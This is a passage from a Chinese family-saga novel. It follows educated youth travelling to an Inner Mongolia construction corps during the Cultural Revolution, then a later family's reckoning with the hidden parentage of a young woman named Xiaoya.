列车的车厢里播放着革命歌曲。车厢与车厢的接口处是封闭的,车身与车身之间不可以自由穿行。尽管当时的两派实现了“三结合。”但派性之间的争斗还是很严重的,为了防止和避免在行程中发生争斗事件。把两派组织的人分别隔离,一个派别,一个车厢,并且车厢之间不能互相往来。派别人少的车厢就显得空荡,派别人多的车厢就显得拥挤。秦国颂是中间派,中间派可以随意选择车厢。秦国颂自然就选了人数比较少的车厢。这样行程累了的话还可以躺在座椅上睡觉。二凤为了跟秦国颂在一起,也说自己是中间派。这样她自然的也就来到了人数比较少的车厢和秦国颂俩人坐一起。 他俩与这个车厢里的人大多数都不认识。年龄大都与他们相仿。坐他俩对面的是一个年纪比他们小,看着也就是十五六岁的一个女孩。二凤与她聊天得知她也就是今年刚刚初中毕业。女孩长着一张稚嫩的脸,眉宇间透露出未成熟的单纯。她称呼二凤为大姐。并说她认识二凤。 秦国颂安置好行李。把随身携带的他父亲秦义辉特意赠送给他的手风琴放到座位之间的小桌子上。对面女孩不错眼珠的看着桌上的手风琴。她问秦国颂。 “这琴真漂亮。你会拉吗?” 秦国颂笑笑点了点头。 二凤替他回答。“他拉手风琴,世界第一。” 女孩瞪大了眼睛。“真的吗?一会儿给我拉一曲。让我听听好吗?” 秦国颂点了点头。 车厢里的年轻人兴奋的火焰有增无减的依旧在燃烧。他们此起彼伏的唱着革命歌曲。朗诵着毛主席语录。列车一路向北行进,阳光照进车厢。映的车厢里一片火红,每一张青春的笑脸真像极了早晨八九点钟的太阳,燃烧释放着青春的能量。 在这种激情澎湃的氛围里,时间好像丢失了,它过得飞快,因为此时的人们都沉浸和陶醉在幸福之中。然而随着车厢单调的咣当声,随着时间的流逝,车厢里的欢乐氛围在逐渐减弱,时间这个说不出为何物的玩意儿又悄悄的出现了,人们忽然觉察到了它的缓慢,它好像有些死皮赖脸的缠着你。不肯走了…… 秦国颂与二凤也觉察到了这种现象的出现。秦国颂对二凤说。“瞧,相对论又来了……” 二凤会意的点了点头。看了看有些变得沉闷了的车厢里的人。看了看坐在对面的那个小妹妹。对秦国颂说。 “你满足一下她,拉一首曲子给她听吧。” 秦国颂答应着拿起了手风琴挂在肩上。微笑着对坐在对面的小女孩说。 “你想听什么曲子呀?我给你拉。” 小女孩眨动的大眼睛想了想。一时没有想出来。小女孩又让和她一起来的伙伴们帮她想。那些十五六岁的年轻人互相看着竟然也想不出来。二凤心里明白,他们这是想家了,想家里的亲人了。真的,他们还都是孩子。热闹的劲头一过,他们自然而然的就会想起了自己的家…… 二凤看的秦国颂。“你随便拉一曲吧,来一曲欢快的,让他们精神精神。” 秦国颂点了点头。用力的拉响了手风琴。大海航行靠舵手。 坐在他附近的人跟着他拉的曲子一起唱。秦国颂鼓着劲儿使劲的拉着。一遍,两遍。合唱的人渐渐的少了,声音渐渐的小了下去…… 秦国颂停下了琴声。二凤对他小声说,“要不然拉一曲听妈妈讲那过去的事情吧。我来唱。” 秦国颂问二凤。“这首歌现在让唱吗?” 二凤看了看秦国颂。“没说让唱,也没说不让唱。这首歌不也是革命歌曲吗?唱吧!” 秦国颂点着头拉响了琴,二凤小声的吟唱了起来。 “……我们坐在高高的谷堆旁边,听妈妈讲那过去的事情……” 妈妈两个字一出口,二凤唱到这里眼睛里便含了泪花。她稍微的有些哽咽……就在她停顿片刻,准备调整一下情绪,继续再唱的时候…… 车厢里坐在他们旁边的那几个岁数比较小的学生先是小声的抽泣,低着头抹眼泪。而后抽泣的声音越来越大,继而变得大声哭起来。他们这一哭,仿佛整个车厢的人都受到了感染,人们都“哇”的哭了起来,哭声越来越大,逐渐演变成为一场恸哭的交响曲…… 他们都还是些孩子呀! 秦国颂没有哭出声,眼里流着泪。 二凤趴在车座旁的小桌上,肩抽动着,呜呜的在哭…… ………… 慢慢的车厢内安静了下来。人们互相看着,有的看着窗外,有的低着头沉思想着心事。谁都不想说话,静静的在等待。等待着到站车停下,他们可以在站台上买一些吃的,调整一下想家的心情。 二凤哭了一会儿不哭了。起身站起去洗把脸。就在她刚刚洗完脸后,一个女知青从她身旁走过。她看了一眼二凤,一下子就把她认出来了,她瞪着眼大声的说道。“这不是那先进代表吗?你怎么会到这个车厢呢?你跟我们不是一个派的。在广场上你还代表你们派的发表讲话了。” 二凤看了这个人一眼,回答她说。“什么你们我们的?联合了我们都是革命派。我在车站广场上代表讲话。我是站在了革命派的立场上。不要挑拨是非,无中生有!” 这个人给二凤说的理屈词穷,张了张嘴,突然对着车厢里大声喊道。 “同志们战友们注意了。这里混进来一个那一派组织里的人。把她轰回去!” 车厢里一下就炸了窝,人们立刻骚动起来…… “把她轰回去!” 第46章 征途(续) 车厢里的人们顿时来了精神。几乎把目标一起瞄准了二凤,有几个人还真的把她认出来了。 “这不是车站广场上那个代表他们那派的发表讲话的那个吗?” “对,就是她,就是她!你跑到我们这边来干嘛?” “演讲的时候慷慨激昂。怎么现在哑巴了?” “那决心表的真是让人感动啊!现在是不是怕困难了?我们这边人少,你们那边人多,跑到这边躲清静来了吧!” “没错,这边座位也多。到晚上了,她可以躺在座位上睡觉。拈轻怕重!还当着那么多人表决心呢。不害臊。” “出发的时候小喇叭吹的那么响。现在怎么哑巴了?” …… 人们暂时把想家的事情忘了。出现了新的情况,把年轻人亢奋的情绪又激发出来了。他们觉得他们又可以战斗了。 二凤冷静地听着人们的质问,她向车厢中间走了几步。回头看了看秦国颂。秦国颂有些面露难色。小声的对她说道。 “下一站是个大站,等车停了,不行就回你们那边去吧。” 二凤用眼睛瞪着秦国颂说。“什么你们我们的?都是大家的。我们都是同一战壕的革命战友。难道这还分不清吗?” 她又缓缓地用眼睛扫视了一下车厢里的人。大声的说道。 “不错。我就是那个在我们出发前,在车站广场上代表广大的知识青年兵团战士讲话的那个人。我代表的是谁?代表的是你们!是我们同呼吸共命运的革命战友。难道这个我们有分歧吗?” 她平稳了说话的力度。温和的继续说道。“同志们,战友们。我是哪一派的?你们是哪一派的?我们实现了革命的大联合。我们都是同一派的。我们都是保卫毛主席,保卫党中央这一派的。我们都是誓死捍卫毛主席革命路线这一派的。当下我们共同的心愿只有一个。响应毛主席的号召。奔赴边疆,奔赴大西北。建设我们伟大祖国的边疆!我们还肩负着另一个神圣的使命,保卫我们祖国的边疆!现在苏联修正主义要和我们发动战争。我们响应毛主席的号召。深挖洞,广积粮,不称霸。我们去到祖国的边陲开荒种田,多打粮食,支援社会主义国家的建设。粉碎帝修反的阴谋诡计……”她停顿了一下。 “我们就是干这个的!我就是干这个的!我坚持这一派的观点,这就是我们这一派,一个革命青年做的最好的回答!你们说,我说的对不对啊?” 车厢里顿时安静了。没有人再说话。只有少部分人在议论纷纷。 这节车厢里发生的一阵骚乱引起了一位部队领导的注意。这位领导是内蒙古建设兵团二师十三团的一位干部。他看着二凤在那里慷慨激昂的说着,心里不禁暗暗的竖起了大拇指。这真是个好苗子啊! 这时又听到二凤说。“领导上暂时的把咱们分车厢乘坐。是为了更平安顺利的到达咱们的目的地。是为了在旅程上避免不必要的麻烦。更是为了让咱们在旅程中冷静的思考一下。我们到达目的地后是为了一个共同的革命目标,去建设和保卫我们伟大的祖国。只有我们团结起来,才能争取更大的胜利!到目的地以后,我们的目标都是一致的。拿起锄头搞生产,拿起刀枪保家乡。这就是我们共同的神圣的使命!” 车厢里有人带头鼓起了掌。 那位部队的干部边鼓掌边走近二凤。他走到二凤跟前与二凤握手。微笑的问她:“这位小同志,你说的太好了。你叫什么名字啊?” 二凤精神抖擞的向部队的干部行了一个标准的军礼。 “报告首长。张文凤给您敬礼!” 军人干部给她还了一个礼。然后招呼张文凤坐下。他也随即坐到了张文凤身边。 军人干部微微一笑说道。“哦,你叫张文凤。就是临出发前在车站广场上代表广大兵团战士讲话的那个?” 张文凤微笑着点了点头。坐在一旁的秦国颂说道。 “这位领导。二凤她……哦,不不不,张文凤。这位同志在我们城市可是大名鼎鼎的呀。本来她有工作的,正在上班,从报纸新闻里知道了建设兵团的事情。她就立下誓言,到祖国最需要的地方!去祖国最艰苦的地方去!于是辞去工作,报名参加了建设兵团。她说党员要带头上最艰苦的地方去。” 部队领导问张文凤。“你是党员?” 张文凤点点头,大声的回答。“是!” “好哇。是个合格的好党员啊!党员就应当起模范作用,带头到最艰苦的地方去。你真是带了个好头啊!” 秦国颂接着说道。“她最厉害的一点就是写文章。她写的文章经常在报刊上发表。得到过多次表彰呢。” 军队领导拍起了手。“太好了,咱们就需要这方面的宣传干将呢!等到了以后,你要多参加劳动,多写稿子,宣传咱们建设兵团的事迹,要让全国都知道,要让全世界都知道。” 张文凤站起来精神焕发斗志昂扬的行了一个军礼。“是!保证完成任务!” 部队领导笑了。站起身来还了一个军礼。大声的对车厢里的人们说。“同志们。你们都要好好的向张文凤同志学习呀。争当做又红又专的革命干将!” 车厢里响起了热烈的掌声。 部队领导向张文凤摆了摆手。道了一声再见,就向另一个车厢走去。 坐在张文凤附近的那几个十五六岁的孩子看到了这场景。几乎把张文凤当成了偶像一般的崇拜,他们羡慕敬仰地拿出自己写日记的笔记本让张文凤给他们写上鼓励他们的话。给他们写上豪言壮语。 张文凤认真的接了过来,一个一个的给他们写。 秦国颂看着张文凤认真的表情在给那些学生们在笔记本上写着豪言壮语。他站起来看了看整个车厢,拿起来手风琴。对着车厢里面的人们大声的喊道。 “我给大家伴奏。咱们大家一起唱团结就是力量!” 整个车厢里的人们一起喊道。“团结就是力量!!” 张文凤放下手中的笔。慷慨激昂的说道。“我给大家打拍子。咱们一起唱!” 于是,整个车厢里又响起了歌声的海洋…… 列车鸣着笛,大口地喘着粗气。向着呼和浩特驶去…… 第47章 解围 秦国颂独自一人在蠡县派出所讯问室里望着桌上警察给了他的纸和笔发呆。这时候给他纸和笔让他写事情经过的那个警察进了屋。看了看一个字都没写的秦国颂。对他说。 “这么长时间了,你一个人在屋里干嘛?让你写事情的经过你怎么不写呢?这都中午了。你不是想跟我们耗下去吧?你就是作为报案人,我们也得需要一个证据啊。” 秦国颂看了看进来的这个警察。没有说话。 “警察又问他。“这都中午了,你饿了吗?我给你弄包方便面。我们中午也吃这个。” 秦国颂点了点头。 那个警察又说。“你抓紧写吧。就是按我说的你看到案情的现场前后经过。这不难写啊。这不都是你亲自亲眼看到的吗?我先给你拿方便面去。” 秦国颂问那警察。“我跟你说过的打电话的事,你打了吗?给省法院的黄国英打电话。” 警察说。“电话打通了。那边的人说过来接你。不知道什么时候能到这里。好了,你先写证明材料吧。我去给你拿吃的。” 秦国颂听了以后。拿起笔在纸上写了起来。 他正低头写着,听到开门声。他抬头一看。去给他拿方便面的那个警察领着黄国英走了进来。黄国英旁边还跟着一个人,这个人是安康。 秦国颂一下子就站了起来,赶紧上前几步,握住了黄国英的手。一只手握着黄国英,一只手握着安康。激动的他就说不出话了。 黄国英对他讲。“你这也真是。什么也没带,一个人就跑出来了。连身份证都没有,是不是流氓咱不知道,反正距离盲流不远了。”黄国英为了缓解情绪,还给他开起了玩笑。 屋里的人都笑了。黄国英又说道。“好了,找到你就行了。我给大凤她们回个电话。我去打电话,你把警察让你写的证明写好。快一点写啊,我们还都没吃午饭呢。这都快一点了。” 黄国英跟着警察去打电话了。安康坐在秦国颂旁边看着他写。不一会儿就写好了。 那警察与黄国英回到了屋内。警察拿起秦国颂写的证明材料看了看,点了点头。“嗯,行了,挺好的。你这字写的可真漂亮。”他抓着秦国颂的手,接着说道。“这位同志,我们真的要好好谢谢你啊。及时的带领受害人报了案。你这是做了一件大好事啊!感谢感谢,你辛苦啊。” 秦国颂摇了摇头,有些腼腆的说道。“我觉得这事儿谁碰到都会管的。没什么的,不用客气啊?” 这时派出所里又来了几个警察,把他们三个人送出门外。看着他们上了黄国英开来的警车。黄国英一边向警察招手,一边调侃的说道。 “单位里没有别的车可用。我只能开这个。我先申明啊,这可不是押送犯人的。”这话一说,所有的人都笑了。 黄国英开动了汽车,对秦国颂和安康说。“咱们先找个地方吃饭吧。我早就饿了。” 安康说。“嗯,是饿了。咱们先随便的找个饭馆吃点就行了。”他问坐在旁边的秦国颂。“你是准备回家呢?还是跟着国英我们一起走呢?” 秦国颂回答。“跟着你们,你们去哪儿?我去哪儿。” 安康问秦国颂:“你这究竟是唱的哪一出啊?你怎么跑这儿来了?” 秦国颂长叹了一口气。“一言难尽……” …… 黄国英开的汽车带着秦国颂与安康来到省法院新分配居民楼的住处。3室1厅的楼房,他一个人住。 秦国颂问黄国英。“这么大的房子你一个人住。为什么不把大凤姐接来住呢?” 黄国英无奈的回答。“她那边还要上班。还有她离不开她爸和她妈。小雅也不来,她离不开咱们那大院,离不开她那些朋友。我也就只好节假日回去看看呗。” 秦国颂问安康。“安康大哥,真没想到咱们在这种情况下见了面。咱们有好多年没见了吧!” 安康想了想回答。“自从那年你和二凤去了内蒙古建设兵团,我们好像就没见过面。一晃竟然这么多年了,没你的音信了,我只听国英说过,你很坎坷的……真没想到咱们在这种情况下见了面。我这也是过来找国英办事儿,国英接了一个电话,说是与你有关,这不我们就紧赶着去接你。你真的没怎么变,还是那样。” 安康接着又问到。“刚才在路上你没有把话说完。你还没有跟我们说为什么跑到这里来了?我们还想听听呢。” 秦国颂看了看黄国英,看了看安康。“有些话我真的不知道该怎么说。这事其实呢,就是和小雅有关。我就感觉到我的事情做的有些对不住大凤姐……我跟你们说了吧,千万不能与大凤姐和小雅她们说……” 他看了看黄国英。拿起了桌子上的香烟。点着深深的吸了一口。“那个台湾商人王文甫你知道吧?他在咱们那个地方要搞开发,他真正的目的是什么?就是小雅……” 安康吃惊的看着秦国颂。“你说的就是那个凤凰雅致有限公司的董事长?我还在他们公司应聘报了名呢。” 秦国颂点了点头。 “我带着他与小雅的父亲,我们一起去了高阳,找小雅的亲姥姥……” 黄国英与安康被秦国颂无头无脑的话说的“丈二和尚~~摸不着头脑。”他们俩也不敢打断他,让他继续说下去。 “小雅的亲姥姥还活着。真让我们找到了。这个人姓曹,叫曹静稚,是大雅她妈。那个台湾商人王文甫的媳妇儿……” 秦国颂说到这儿又抽了几口烟,看着大眼瞪小眼的黄国英与安康。 “然后呢?”黄国英与安康几乎是同时说出来。 “没然后了。找到小雅的姥姥了,我就偷偷的跑了出来。我觉得这事有点大了,对不住大凤,就跑了……然后这不就是你们来接我了……” 安康惊的眼珠子都快掉出来了。“台湾商人王文甫董事长,与小雅……还有大雅,还有大凤?还有,还有……这真的可以写一部电视剧了。嗯,刚才你还说了什么?小雅的爸爸……” 黄国英一言不发的静静的听着。他知道这事情真的像秦国颂刚才说的那样。真不是个小事儿。 秦国颂看着黄国英,严肃认真的说。“是的,小雅的爸爸找到了。就是和小雅她妈妈大雅离了婚的那个男人,那时他还是个军人,就是因为大雅的家庭关系复杂,才离的婚。但是他又和大雅深深的爱着。两个人经常偷偷的见面。后来,后来就有了小雅。这,你们都知道了……” 安康疑惑的又摇了摇头。“我们不知道,知道什么呢?” 秦国颂接着说。“这个军人是部队医院的一个主任医生。后来他退休了,他就搬来咱们院儿住。他,他就住的原先高老头那间房。其实他知道他有一个女儿,他也知道被凤姐家人们养着,一直没敢来认。他搬到咱们那个院住,目的就是为了能看到他的女儿。他也想认,但他又怕对不住大凤,对不住你们全家,你们把小雅都养这么大了。他对我讲,只要能看到小雅就行了,就心满意足了……小雅长得还真像他。” 黄国英看着秦国颂。“你这一偷着跑出来,这都快两天了。你要不给大凤家打那个电话,都不知道你是活着还是死了。我在派出所时给大凤又打了个电话。大凤说让你赶紧回去。那个董事长王文甫一直在打听你的消息。让你回去立即见他一面。” 安康在一旁赶紧说道。“赶快回去吧。我陪着你,咱们一起去见那个董事长。” 他转脸又对黄国英说。“看来这个董事长没有把他们去高阳的真情告诉大凤。如果他要是说了大凤一定会跟你说的。你给大凤打电话的时候,她没有流露出这方面的意思吧?” 黄国英点了点头。“嗯,他应该没有把事情的真相告诉大凤。不然的话,大凤会给我讲的。 秦国颂说道。“我跟那个董事长王文甫说了。这事情先保密,不能告诉大凤姐,王文甫也答应了。但是我觉得这个秘密保持不了多久了,大凤姐应该很快的就会知道。那,我可就惨了,我这一下成什么人了?我真的对不住大凤姐,对不住你们……” 黄国英安慰秦国颂。“这事不能怪你。这是命,早晚会有这一出的……” 安康紧接着说道。“这真的是一出精彩的故事啊。编剧都编不出来的故事……唉?讲给二凤听,让她写吧。” 秦国颂看着安康说。“其实这个故事的前半部二凤都知道。只是她还不知道故事的结尾……我可是好多年都没有见到她了……不知道她还会不会理我。在大凤家接过她几次电话。没聊别的,她就是问我过得还好不好。我觉得她变化很大,和我已经不是同一类型的人了。安康大哥,你后来又有和她接触吗?” 安康摇了摇头。“他现在走的是上层路线,我们现在还仍然是平民百姓。和过去是不能同日而语了。她变了……” 黄国英说。“是的,她变化确实很大。很少回家,我也很少见过她。她现在在北京调到一个广播电视系统,做领导了。级别比我还高,我现在只是一个小小的副处级。她已经达到副厅级了。她还没有结婚……不知道她在等什么。这个年龄找合适的,难了。” 他们正说着话。黄国英屋里的电话响了。他忙拿起电话,电话那头是小雅打来的。小雅也是问秦国颂的事情,并且让黄国英把电话给了秦国颂,她要和秦国颂直接说话。 秦国颂接过电话。电话那边小雅听到了秦国颂的说话。带着哭腔对秦国颂说。 “你走的时候说你就出去一会儿,怎么现在也不回来?都让人急死了。你到底是干什么去了?一句实话也不给我说……好没良心……” 秦国颂紧张的忙给她解释。前言不搭后语。“我和咱们院那个新搬来的一起跟着那个董事长王文甫去看一项工程。咱们院新搬来的那个跟王文甫竟然还是亲戚关系……他们是怎样的关系在电话里我也跟你说不清。后来我们又碰到一个人,这个人说认识你二姨。并且告诉我你二姨在哪?我就偷跑出来去找你二姨了。结果也没找到,那个人骗了我……他为什么要骗我呢?” 小雅那边听的不耐烦了。“你说的这都是什么呀?瞎说!我二姨在北京呢,你又不是不知道。别说这些了,你打算什么时候回来?你要不回来,我和我妈去我爸爸那找你。我妈也有话问你。” 秦国颂连忙回答。“明天我就回去。让你爸爸开车送我回去。行了吧,别着急了啊。” 黄国英把电话接了过去。告诉小雅,说明天他们一起回去,一起回家。 黄国英放下电话后,安康在一旁望着他说道。“这事儿我估计是瞒不住了。听得出来,小雅都有些怀疑了。秦国颂啊,你也是,你说你跑什么呀?” 此时的秦国颂不知道说什么好。急得他抓耳挠腮的说。“也是啊,你说我当时跑什么呢?我要是不跑,也许没这么多事。那时候一想起大凤姐,我死的心都有……” 黄国英连忙安慰他。“别说这些了。咱考虑商量一下,明天见了大凤怎么给她说吧。” 第48章 这事儿真难 黄国英开车带着秦国颂安康回到了大院。他们先去了小雅房间,小雅没在屋里。桌上的收录机里播放着歌曲,让世界充满爱。放的声音还挺大。秦国颂坐在桌子旁边,听着录音机里播放出来的声音。他第一次听到这首歌,觉得心里很暖,非常好听。其实这首歌对于小雅来说已经算是老歌了。不知道为什么她又把这盘磁带拿出来重新播放。 秦国颂边听歌边说。“这首歌真好听。我在她这屋住了好几天,竟然没有发现还有这么好听的歌。让人感觉很温暖。” 安康看着秦国颂说:“你还真有心慌。见了大凤要说的话都记住了吧。别说乱了啊?” 秦国颂点点头。“有国英大哥压得住阵脚。我心里就稳一些,视情况而待。” 接着他又说道。“挨揍的心理都准备好了。最好能让她痛痛快快的打我一顿。” 黄国英说。“打你?打谁她也舍不得打你呀……” 正说着话,小雅推门走进了屋。她与黄国英安康打了招呼,然后径直走到秦国颂的面前,盯着秦国松的眼睛看,半天也没说话。 秦国颂被她看的有些发毛,有些心虚的低下了头。小声的说道。 “你别这么看着我行吗?有什么话你就说。” 小雅照着秦国松的脸狠狠的就是一巴掌。秦国颂给她打的机灵一下,抬起了脸,把另一侧脸转给了她,小雅对着转过来的脸又一巴掌。秦国颂微微的笑了一下,点了点头,刚要开口…… 黄国英冲过去一下子就把小雅推在了床上,大声的怒斥着小雅。 “你这是干什么?谁打他也轮不到你!他是你的长辈,疯了你啊,敢这样没大没小的!” 小雅站起来,冲着黄国英大声的说道。“我没有一天把他当做我的长辈,我一直把他当做朋友……他,他欺骗了我,欺骗朋友的人就该挨打!” 黄国英苦笑了一下说道。“朋友?你说说看,他是你的什么朋友?” 小雅把脸一昂,看了看黄国英。然后直视着秦国颂说,“是我最好最好的朋友,并且还是我的贵人……可是你,你不能骗我呀……你为什么不把真相全告诉我?”说完她一下子就抱住了秦国颂,呜呜的哭了起来。 秦国颂赶紧分开小雅的双手,让她坐回床上,他缓缓的蹲在了小雅的面前,拿过小雅的一只手。 “我不应当骗你,更不应当骗你妈,你要是恨我,你就再打我几下吧。” 边说边拿着小雅的手,在自己的脸上扇了起来。一边扇自己的脸,一边说。“你想知道什么真相呢?到底知道了多少呢?” 小雅从秦国颂的手里抽回自己的手。“我也不知道究竟是怎么回事。反正是你答应我了,带着我去高阳找……你说话不算数,说跟谁都不说。说带着我去找,却带了别人去。你为什么不带着我去?拿我不当人,不当朋友。你这不是欺骗我吗?” 秦国颂又拿过小雅的手。“确实是我的错,要不然你再打我几下吧?再解解心头的气。” 小雅哭着用手抱住了秦国颂的头。 秦国颂对小雅说。“我不是诚心骗你的。我最对不住的就是你妈,就是大凤姐。就怕她知道了无法接受,大凤姐是天底下最难的女人……可怜的大凤姐……” 就在这时大凤推门进了屋。 她拍了拍秦国颂的肩,示意他站起来。对屋里的其他的人说。 “我要单独给他说话。我和他去我们屋说吧……” 小雅停住了哭声,站起来对大凤说:“我也要听,这事一定与我有关!” 大凤走到小雅跟前,轻轻的对她说道。“是和你有关,我先单独问他几句。然后咱们大家在一起说,好吗?” 黄国英走到大凤跟前,拉了她的手。小声的说道:“你跟我回咱们屋,我跟你说吧,我都知道了……” 大凤点了点头,跟随黄国英走出了屋。 安康随手关了录音机。微笑着对小雅说道。“你这丫头,这脾气随谁呀?”忽然他发现自己说走了嘴。赶紧要改口解释,小雅抢白了他一句。 第49章 凤凰雅致公司 王清文知道秦国颂他们回来了。其实呢,他的心思一直是盯着这边的。凤凰雅致实业有限公司的董事长王文甫嘱咐王清文,秦国颂回来后赶紧通知他,让他去公司一趟。有要事相告。 王清文去过小雅的屋子,那是秦国颂领他去的。这次他又来这儿找秦国颂,进屋后他看到黄国英与安康,这俩人他都不认得。说明情况后,黄国英安康领着他来到了大凤这屋。 一进屋看到大凤与小雅母女俩抱着头在痛哭。秦国颂呆呆的一个人在旁边站着。他走到秦国颂跟前。 “你怎么来了个不辞而别呢?董事长王文甫请你呢。他吩咐过我,看到你回来后立刻通知你,马上去他那里一趟。” 秦国颂看了看黄国英。又看了看止住了哭声的大凤与小雅。拿不定主意去还是不去。 黄国英说。“人家请你,你就赶快去吧。正好也可以听一听那边的情况。” 安康赶忙说。“去吧,应当过去看看。不辞而别偷跑出来本来就是很不礼貌的事。应当过去给人家道个歉……没关系,我跟你一起去。” 秦国颂没有说话。把目光投向大凤。 大凤看着他。擦了擦脸上的泪水,缓缓的说道。“你去吧。给他挑明了,就说是我说的,小雅我谁都不给,她是我的女儿!”说完又去擦流出来的眼泪。 小雅使劲的抱着她妈。“我是我妈的,我谁的都不是……” 王清文看到这场景,忙对秦国颂说。 “你要是现在方便,我陪着你,咱们一起去。”他指了指刚才还要说一起去的安康。“让他也陪着一起去吧。” 秦国颂点了点头。对大凤说。“凤姐,你的话我记住了。放心吧,我知道该怎么说。” 秦国颂和安康跟着王清文走出了屋。 走到门口时。小雅对秦国颂说了一句。 “你可不能再跑了啊。你要是再跑的话,抓住你,我就吃了你。” 他们出了屋。剩下屋里的三个人的目光一起看着最后走出去的王清文的背影。黄国英的目光和大凤的目光碰到了一起。大凤轻轻的说了一句。 “是他……” 黄国英会意的点了点头。 小雅有些茫然的喃喃自语。“他竟然和秦国颂混的这么熟,才搬来几天呀?” …… 秦国颂王清文安康三人来到了凤凰雅致实业有限公司。 董事长王文甫热情地接待了他们三个人。秦国颂特别的向董事长王文甫介绍了安康。并且着重的介绍了安康在无线电方面的造诣,称安康是他的老师,是他在无线电方面的启蒙老师。 王文甫热情的与安康握了手。然后对秦国颂讲。“你的一片苦心我们都明白了。清文帮助我分析了你那不辞而别的动机。你是担心这事情一旦小雅她妈知道了,你无法与她妈妈交代。怕她妈妈接受不了这个现实?” 秦国颂点了点头,开门见山的说道。“我给大凤姐承诺了,不然的话我也不会来见你。这个谜底呢,基本上已经拆穿了。但是大凤姐不能接受小雅离开她。你们呢,最好晚一些推迟一下与小雅公开见面的时间。好让大凤姐慢慢的适应一下……”他说这话的时候,眼睛看着王文甫与王清文。对身边的安康解释道。 “带咱们来的这位不是别人。他就是小雅的亲爸爸。”他又面向王文甫说道。“这位董事长王文甫先生就是小雅的亲姥爷。” 安康看了他们俩,心事重重的微笑着点着头。嘴里连连说道。“这真是好事儿啊。真是好事儿啊!” 王文甫侧过身拉住秦国颂的手,和蔼可亲的对秦国颂说道。“国颂啊,我应当称呼你为先生才是。你真的给我好好的上了一课。你的辞别一举让我对你心生敬意。你这才是真正意义上的,但行好事,莫问前程啊。真的让我非常的敬佩,不为名利,只求把事情做好。嗯,这样啊。我听你的,清文也听你的。我们呢,就暂时不和小雅见面了。按你说的等时机成熟了我们再见面。那个叫大凤的她妈妈的心情我们太能理解了。含辛茹苦的养育了她那么多年。真真的是不易呀!” 秦国颂听到了这里。犹豫了一下,张了张嘴,把想说的话又咽下去了。“大凤姐真的是太难了。本来我想告诉你们……一想还是别说了……大凤姐是我见到的女人里最难的一个……这么说吧她真的活的……比,比大雅,大雅都难。大雅姐生前与大凤姐关系最好,大凤姐给我说过……大雅姐曾经对她有过一个比喻。梁祝还有化蝶日,可叹花妖错轮回……不知道我说的这里边的意思,你们听懂了没有?但是这话,我只能说到这儿。在这个世界上欺负谁都可以,唯独不能欺负大凤姐!” 秦国颂有些恍惚的说出了这番话。说出了他的一番的良苦用心。说出了他的真正良心。不可以在一个流着血的人的身上再撒盐啊。他差一点说出来,大凤姐到现在有可能还是一个处女。一个结了婚20多年的处女……他觉得他自己有点儿疯了。 “现在小雅就是她的命。就是她生活唯一活下去的勇气。你们如果能把小雅留在她身边,那等于是在救她的命啊。” 我们不由的想起了小雅对秦国颂最高的一句评语。他是小雅的贵人。是不是别人的贵人?我们不能随意下结论,那要让别人自己说出口。然而我们转念一想,这个贵人究竟意味着是什么呢?什么才能称得上为贵人呢? 屋里的人似乎都听懂了秦国颂说所说的这番话。也许没有安全听懂。但是人们都真真切切的感受到秦国颂的一片真情,真心所鉴,坦诚磊落。 董事长王文甫握着秦国颂的手。意味深长的说。“秦先生的为人坦诚磊落,赤诚之心可见天。我等都要好好的向你学习才是啊。” 秦国颂的脸一下子就又红了,他有些难为情的连连说道。“董事长您过奖了,我可不敢。我,我真的接不住哇……咱不说这些了好吗?只要你们答应了在近阶段不去打扰凤姐与小雅她们母女之间的生活这就行了,让他们先安静的过一阵平稳的日子,我的心也就踏实了。” 王文甫连连对秦国颂说。“好的,好的。你就是不说,我们也不会打扰大凤与小雅的生活的。放心吧啊。” 王清文也跟着连连点头。“我呢,最近也先不回那个大院住了。我还有一套房呢,我去那边住就行了。时不时的我会回去看看你们。看看小雅……我偷着看看就行……” 王文甫对王清文说。“你一个人要是觉得闷的话,你就来公司里边住。行吧?” 王清文连连点头。 王文甫又接着说道。“小雅的姥姥我已经把她接来公司了。这样吧,嗯,也该吃晚饭了。晚饭咱们陪着小雅的姥姥一起吃,好不好啊?” 众人一起说好。秦国颂犹豫了一下。“我怕晚上不回去,小雅着急。她怕我又跑了。我先给她打个电话,告诉她留这吃饭了。吃完饭马上回去。” 王文甫指了指办公桌上的电话。“好呀,你现在就打给她们吧。” 秦国颂拿起电话刚要拨号。迟疑的看了看王文甫,“小雅要是要来一起吃饭,那怎么办?她的脾气我知道,听大凤姐说。像极了大雅……” “嗯……”王文甫沉思着 此时此刻。王文甫,王清文,他俩多么希望小雅能来呀。还有那20多年没有见过面的姥姥,多么期待的能见小雅一面呢。可是见了面怎么说呢?把大凤一个人留在家?她能让小雅一个人出来?还有黄国英呢。这真是一件为难的事情。这让久经商场与战场的王文甫老先生都为难了…… 董事长王文甫在屋里踱着步,他思考了片刻。对秦国颂讲。“你看一下这样行不行?你先给小雅她妈妈大凤打电话。告诉她我派车去接他们。让他们来公司一起吃顿饭。听听他们的态度。他们如果要是回绝了,当然更好。如果他们要来的话……”他看了一下王清文。“那就只能委屈你暂时回避一下。姥姥姥爷暂时挑明了这个问题还不是很大,毕竟是隔着辈儿的。亲生父亲的关系如果再挑明了,就怕……” 王清文点了点头。“好的,我听从您的安排。” 王文甫接着说。“你就在公司的房间里呆着。看看事态的进展情况。合适的情况下,我通知你,让你过来。” 王文甫走到王清文跟前。与他重重的握了握手。 王清文眼里含着泪,点着头。 王文甫又看了看秦国颂。秦国颂也点了点头。 王文甫说。“好吧,你拨电话吧……” 第50章 这事更难办 秦国颂坐着凤凰雅致实业有限公司的车来到大院接大凤黄国英小雅。 大凤面色有些沉重的在镜子面前画着淡妆。小雅也在自己的房间里整理着自己的妆容。黄国英与秦国颂站在屋门口等着她们。 小雅整理好自己先出了屋门。他走到秦国颂跟前,对他说。“我还以为你这一去又不回来了呢。” 秦国颂微微一笑。“我哪敢呀!怕被人吃了……” 小雅也笑了。“我那是说着玩儿呢。” 这时候大凤从房间里走了出来。她有些平静的对黄国英说。“刚才我想了想,我还是别去了……想一想那场面真让我尴尬……你们去吧。我一个人在家等着……” 黄国英点了点头。“这样也好。我们吃完饭就回来。不会太久的。小雅有我和秦国颂看着呢。我们一起回来。” 大凤没有说话。她走到秦国颂跟前。一字一顿的说。“吃完饭赶快回来。带着小雅全须全尾的回来。听到了吗?” 秦国颂扑哧一下笑了。“瞧凤姐说的,这是出去吃饭。又不是咬蛐蛐。还全须全尾的。” 大凤严肃的看了他一眼。“别说笑,我这可是认真的。如果小雅不回来,你们谁都别回来见我。” 